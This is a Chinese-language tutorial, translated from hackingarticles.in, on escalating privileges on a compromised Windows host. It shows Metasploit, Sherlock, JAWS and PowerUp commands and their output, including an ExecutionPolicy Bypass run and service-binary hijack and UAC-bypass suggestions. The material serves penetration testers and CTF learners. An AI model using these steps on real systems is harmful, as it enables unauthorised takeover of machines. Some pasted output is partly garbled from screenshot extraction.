SoftNight / 2018-10-06 21:01:35 / 浏览数 4516 技术文章 技术文章 顶(0) 踩(0)

### 原文:

http://www.hackingarticles.in/window-privilege-escalation-via-automated-script/

大家都知道,当我们入侵了一台服务器并拿到了低权限shell时需要进行提权。

本文就来讲解如何提权并判断哪些低权限的shell可以提升到高级权限。

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## 介绍

提权一般是在攻击者已经成功入侵受害者的主机后的一个过程,在这个过程中,攻击者要尝试收集关于系统的更多关键信息,比如隐藏的密码和某些配置不当的服务与应用领

### 提权向量

下面这些信息是Windows系统中的关键信息:

操作系统版本

已安装或正在运行的存在漏洞的安装包

具有完全控制或修改权限的文件和文件夹

映射驱动器

引人注意的异常文件

不带引号的服务路径

网络信息(接口,arp,netstat等)

防火墙状态和规则

运行进程

AlwaysInstallElevated注册表项检查

存储的凭证

DLL劫持

计划任务

在渗透测试过程中,有一些脚本能够帮你快速识别Windows系统中的提权向量,本文我们就来——详细讲解。

## Windows-Exploit-suggester

如果你已经获得了受害主机的低权限meterpreter会话或者命令会话,那么你就可以使用这个脚本。

这个脚本会告诉你本地可用的exp。这些给出的exp是根据受害主机的操作系统平台和架构,还有根据本地可用的exp来选择的。需要注意的是,并不是所有的exp都可以有交使用该脚本非常简单,输入下列命令即可:

```
use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set lhost 192.168.1.107
msf post(local_exploit_suggester) > set session 1
msf post(local_exploit_suggester) > exploit
```

```
ster) > set lhost 192.168.1.107
   host => 192.168.1.107
  <u>nsf</u> post(multi/recon/local_exploit_suggester) > set session 1
    <u>sf</u> post(multi/recon/local_exploit_suggester) > exploit
[*] 192.168.1.100 - Collecting local exploits for x86/windows...
[*] 192.168.1.100 - 39 exploit checks are being tried...
[+] 192.168.1.100 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms10_015 kitrap0d: The target service is running, but could not be validated.
[+] 192.168.1.100 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms15_004_tswbproxy: The target service is running, but could not be validated.
[+] 192.168.1.100 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated.
[+] 192.168.1.100 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated.
[+] 192.168.1.100 - exploit/windows/local/ms16_016_webdav: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated.
[+] 192.168.1.100 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
[+] 192.168.1.100 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
```

从图片中可以看到,脚本已经检测出了哪些exp可以利用并且能够进行提权。

#### Windows Gather Applied Patches

这个模块会根据WMI查询的结果来遍历Windows系统中安装的补丁,WMI查询语句如下:

SELECT HotFixID FROM Win32 OuickFixEngineering

### 脚本用法:

```
use post/windows/gather/enum patches
msf post(enum_patches) > set session 1
msf post(enum_patches) > exploit
```

```
<u>ısf</u> > use post/windows/gather/enum patches 🤤
<u>msf</u> post(windows/gather/enum_patches) > set session 1
<u>msf</u> post(windows/gather/enum_patches) > exploit
[+] KB2871997 is missing
[+] KB2928120 is missing
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd broadcast, elevates from Low to Medium integrity
[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
      KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
      Post module execution completed
                                                                                                                                                                     ▶ 先知社区
```

如图所示,该脚本已经根据补丁显示了受害主机存在哪些漏洞和对应的能够提权的exp。

### sherlock

这是一个Powershell脚本,能够快速找到缺失的软件补丁并进行本地提权。这个脚本跟上面的脚本类似,能够找到受害主机存在哪些漏洞和对应的可以提权的exp。

使用下面的命令从GitHub上下载脚本,当你获取一个受害主机的meterpreter会话时执行脚本,如下所示:

git clone https://github.com/rasta-mouse/Sherlock.git

```
ot@kali:~/Desktop# git clone https://github.com/rasta-mouse/Sherlock.git 🛵
Cloning into 'Sherlock'...
remote: Counting objects: 72, done.
emote: Total 72 (delta 0), reused 0 (delta 0), pack-reused 72
Unpacking objects: 100% (72/72), done.
                                                                        ✓ 先知社区
```

由于这个脚本是在powershell中执行的,所以需要先加载powershell,然后再导入这个下载的脚本:

load powershell

```
<u>neterpreter</u> > load powershell <del>年</del>
Loading extension powershell...Success, ....
```

```
powershell_import '/root/Desktop/Sherlock/Sherlock.ps1'
powershell execute "find-allyulns"
```

上面的命令会输出目标靶机存在的漏洞和可以用来提权的exp,如图: Powershell Commands Command Description powershell execute Execute a Powershell command string powershell import | Import a PS1 script or .NET Assembly DLL powershell shell Create an interactive Powershell prompt <u>meterpreter</u> > powershell import '/root/Desktop/Sherlock/Sherlock.ps1' [+] File successfully imported. No result was returned. <u>meterpreter</u> > powershell execute "find-allvulns" 🤙 [+] Command execution completed: : User Mode to Ring (KiTrap0D) Title ISBulletin : MS10-015 CVEID : 2010-0232 : https://www.exploit-db.com/exploits/11199/ Link VulnStatus : Appears Vulnerable : Task Scheduler .XML Title MSBulletin : MS10-092 CVEID : 2010-3338, 2010-3888 Link : https://www.exploit-db.com/exploits/19930/ /ulnStatus : Appears Vulnerable Title : NTUserMessageCall Win32k Kernel Pool Overflow ISBulletin : MS13-053 : 2013-1300 CVEID Link : https://www.exploit-db.com/exploits/33213/ /ulnStatus : Not Vulnerable : TrackPopupMenuEx Win32k NULL Page Title MSBulletin : MS13-081 CVEID : 2013-3881 \_ink : https://www.exploit-db.com/exploits/31576/ /ulnStatus : Not Vulnerable Title : TrackPopupMenu Win32k Null Pointer Dereference ISBulletin : MS14-058 : 2014-4113 CVEID Link : https://www.exploit-db.com/exploits/35101/ /ulnStatus : Not Vulnerable : ClientCopyImage Win32k

/ulnStatus : Appears Vulnerable

JAWS—另一个Windows遍历脚本

ISBulletin : MS15-051

: 2015-1701, 2015-2433

: https://www.exploit-db.com/exploi

JAWS也是一个powershell脚本,目的是为了帮助渗透测试员和CTF选手快速识别Windows主机上的提权向量。该脚本是用powershell2.0编写的,所以在win7之后的主机」 当前功能

网络信息收集(接口,arp,netstat)

防火墙状态和规则 运行的进程

Title

CVEID

\_ink

具有完全控制权限的文件和文件夹

映射驱动器 引人注意的异常文件 不带引号的服务路径 近期使用的文档 系统安装文件 AlwaysInstallElevted注册表项检查 存储的凭证 安装的应用 潜在的漏洞服务 MuiCache文件 计划任务

使用下面的命令下载脚本:

git clone https://github.com/411Hall/JAWS.git

root@kali:~/Desktop# git clone https://github.com/411Hall/JAWS.git 仁 Cloning into 'JAWS'.... done. remote: Counting objects: 103, done. remote: Total 103 (delta 0), reused 0 (delta 0), pack-reused 103 Receiving objects: 100% (103/103), 41.17 KiB | 162.00 KiB/s, done. Resolving deltas: 100% (38/38), done.

一旦你获得了meterpreter会话,上传这个脚本然后在命令行中执行:

powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

它会将关键信息保存在JAWS-Enum.txt文件中。

前面说到过,JAWS-Enum.txt这个文件存储着能够进行提权的向量,现在我们打开这个文件来看看结果。

下图中显示了所有的用户名和IP配置信息。



192.168.1.106:1234

172.217.160.238:443

ESTABLISHED

TCP

TCP

192.168.1.102:49388

192.168.1.102:49414

正在运行的进程和服务

: \Microsoft\Windows\Windows Media Sharing\UpdateLibrary TaskName

Run As User : Authenticated Users

Task To Run : %ProgramFiles%\Windows Media Player\wmpnscfg.exe" "

: \Microsoft\Windows\WindowsBackup\ConfigNotification TaskName

Run As User : LOCAL SERVICE

Fask To Run : %systemroot%\System32\sdclt.exe /CONFIGNOTIFICATION

: \Microsoft\Windows\WindowsColorSystem\Calibration Loader TaskName

Run As User : Users

Task To Run : COM handler

TaskName : \Microsoft\Windows\WindowsColorSystem\Calibration Loader

Run As User : Users

Task To Run : COM handler

: \Microsoft\Windows Defender\MP Scheduled Scan TaskName

Run As User : SYSTEM

Task To Run : c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob

-WinTask -RestrictPrivilegesScan



Services

DisplayName Name SCardSvr Smart Card

SCPolicySvc Smart Card Removal Policy

SDRSVC Windows Backup

RpcLocator Remote Procedure Call (RPC) Locator Remote Access Connection Manager RasMan

Routing and Remote Access RemoteAccess

RemoteRegistry Remote Registry Secondary Logon seclogon

SPP Notification Service sppuinotify

SDPSRV SSDP Discovery

Secure Socket Tunneling Protocol Service Software Protection SstpSvc

Software Protection / sppsvc Adaptive Brightness SensrSvc

SharedAccess Internet Connection Sharing

```
Folders with Full Control and Modify Access
C:\Program Files\Icecream Screen Recorder
C:\Program Files\Microsoft Games
C:\Program Files\MSBuild
:\Program Files\SystemScheduler
C:\Program Files\ActiveFax\Client
:\Program Files\Common Files\Services
C:\Program Files\Common Files\microsoft shared\Triedit
C:\Program Files\Internet Explorer\SIGNUP
:\Program Files\Microsoft Games\More Games
C:\Program Files\Microsoft Games\Multiplayer
:\Program Files\Microsoft Games\Chess\en-US
:\Program Files\Microsoft Games\FreeCell\en-US
C:\Program Files\Microsoft Games\Hearts\en-US
:\Program Files\Microsoft Games\Mahjong\en-US
C:\Program Files\Microsoft Games\Minesweeper\en-US
:\Program Files\Microsoft Games\More Games\en-US
:\Program Files\Microsoft Games\Multiplayer\Backgammon
:\Program Files\Microsoft Games\Multiplayer\Checkers
:\Program Files\Microsoft Games\Multiplayer\Spades
C:\Program Files\Microsoft Games\Multiplayer\Backgammon\en-US
:\Program Files\Microsoft Games\Multiplayer\Checkers\en-US
:\Program Files\Microsoft Games\Multiplayer\Spades\en-US
:\Program Files\Microsoft Games\Purble Place\en-US
C:\Program Files\Microsoft Games\Solitaire\en-US
C:\Program Files\Microsoft Games\SpiderSolitaire\en-US
:\Program Files\MSBuild\Microsoft
C:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation
:\Program Files\MSBuild\Microsoft\Windows Workflow Foundation\v3.0
C:\Program Files\Photodex\ProShow Producer
C:\Program Files\Photodex\ProShow Producer\colors
:\Program Files\Photodex\ProShow Producer\content
C:\Program Files\Photodex\ProShow Producer\layouts
:\Program Files\Photodex\ProShow Producer\menus
:\Program Files\Photodex\ProShow Producer\pxf
C:\Program Files\Photodex\ProShow Producer\styles
C:\Program Files\Photodex\ProShow Producer\transitions
C:\Program Files\Photodex\ProShow Producer\wizardthemes
:\Program Files\Photodex\ProShow Producer\content\Backgrounds
C:\Program Files\Photodex\ProShow Producer\pxf\images
C:\Program Files\Reference Assemblies\Microsoft\Frame
```

当然,运行这个脚本还能提取到更多的关键信息,大家可以自己摸索一下。

## PowerUp

PowerUp是一个powershell工具,能够协助在Windows系统上进行本地权限提升。PowerUp的目的是整合所有因为配置错误而导致的Windows本地权限提权向量。

运行Invoke-Allchecks会输出所有可识别的漏洞。

当前功能

服务遍历

Get-ServiceUnquoted--返回名字中有空格且未加引号的服务路径

Get-ModifiableServiceFile—返回当前用户可以向服务二进制路径和配置文件写入的服务

Get-ModifiableService—返回当前用户可以修改的服务

Get-ServiceDetail—返回指定服务的详细信息

### 服务滥用

Invoke-ServiceAbuse—修改存在漏洞的服务,创建本地管理员或执行自定义的命令Write-ServiceBinary—编写经过修改的C#服务二进制文件来添加本地管理员或执行自定义命令Install-ServiceBinary—替换服务二进制文件来添加本地管理员或执行自定义命令Restore-ServiceBinary—使用原始可执行文件恢复已经替换的服务二进制文件

#### DLL劫持

Find-ProcessDLLHijack—发现当前正在运行的进程是否存在DLL劫持Find-PathDLLHijack—查找环境变量"%PATH%是否存在DLL劫持"Write-HijackDII—编写可劫持的DLL

#### 注册表检查

Get-RegistryAlwaysInstallElevated—检查是否设置了AlwaysInstallElevated注册表项 Get-RegistryAutoLogon—检查注册表中是否有AutoLogon凭证 Get-ModifiableRegistryAutoRun—在HKLM autoruns中检查任何可修改的二进制文件/脚本或配置文件

前面提到过,PowerUp是powersploit的一个模块,所以我们需要下载powersploit,使用下面的命令从GitHub上下载:

git clone https://github.com/PowerShellMafia/PowerSploit.git

然后切换到Powersploit目录下,可以看到powerup脚本

cd PowerSploit
ls
cd Privesc
ls

#### 如图所示:

```
kali:~# git clone https://github.com/PowerShellMafia/PowerSploit.git 👍
Cloning into 'PowerSploit'...
emote: Counting objects: 3083, done.
Cceiving objects: 82% (2529/3083), 7.08 MiB | 1.21 MiB/s
oot@kali:~# cd Desktop
oot@kali:~/Desktop# git clone https://github.com/PowerShellMafia/PowerSploit.git <=</pre>
Cloning into 'PowerSploit'...
emote: Counting objects: 3083, done.
emote: Total 3083 (delta 0), reused 0 (delta 0), pack-reused 3083
eceiving objects: 100% (3083/3083), 10.42 MiB | 1.11 MiB/s, done.
Resolving deltas: 100% (1807/1807), done.
oot@kali:~/Desktop# cd PowerSploit/
oot@kali:~/Desktop/PowerSploit# ls
AntivirusBypass CodeExecution Exfiltration LICENSE
                                                       Mayhem
                                                               Persistence Privesc
  t@kali:~/Desktop/PowerSploit# cd Privesc/
                                              ø
     (ali:~/Desktop/PowerSploit/Privesc# ls
                                                         README.md
oot@kali:~/Desktop/PowerSploit/Privesc#
```

## 然后加载powershell,导入下载的脚本:

load powershell
powershell\_import '/root/Desktop/PowerSploit/Privesc/PowerUp.ps1'
powershell execute Invoke-AllChecks

meterpreter > powershell import '/root/Desktop/PowerSploit/Privesc/PowerUp.ps1

[+] File successfully imported. No result was returned.

meterpreter > powershell execute Invoke-AllChecks

[+] Command execution completed:

[\*] Running Invoke-AllChecks

[\*] Checking if user is in a local group with administrative privileges...

+] User is in a local group that grants administrative privileges!

[+] Run a BypassUAC attack to elevate privileges to admin.

[\*] Checking for unquoted service paths...

ServiceName : Fortitude HTTP

: C:\Program Files\NetworkDLS\Fortitude HTTP\Bin\FortitudeSvc.ex Path ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityRef

StartName : LocalSystem

AbuseFunction : Write-ServiceBinary -Name 'Fortitude HTTP' -Path <HijackPath>

CanRestart : False

: Fortitude HTTP ServiceName

: C:\Program Files\NetworkDLS\Fortitude HTTP\Bin\FortitudeSvc.ex Path ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityRef

StartName : LocalSystem

AbuseFunction : Write-ServiceBinary -Name 'Fortitude HTTP' -Path <HijackPath>

: False CanRestart

ServiceName : Fortitude HTTP

: C:\Program Files\NetworkDLS\Fortitude HTTP\Bin\FortitudeSvc.ex Path ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityRef

StartName : LocalSystem

: Write-ServiceBinary -Name 'Fortitude HTTP' -Path <HijackPath> AbuseFunction

: False CanRestart

ServiceName : Fortitude HTTP

: C:\Program Files\NetworkDLS\Fortitude HTTP\Bin\FortitudeSvc.ex Path ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityRef

: LocalSystem StartName

: Write-ServiceBinary -Name 'Fortitude HTTP' -Path <HijackPath> AbuseFunction

CanRestart : False

ServiceName : Macro Expert

Path : c:\program files\grasssoft\macro expert\MacroService.exe

ModifiablePath : @{Permissions=System.Object[]; ModifiablePath=C:\; IdentityRef

StartName : LocalSystem

: Write-ServiceBinary -Name 'Macro Expert' -Path <HijackPath> AbuseFunction

: False CanRestart

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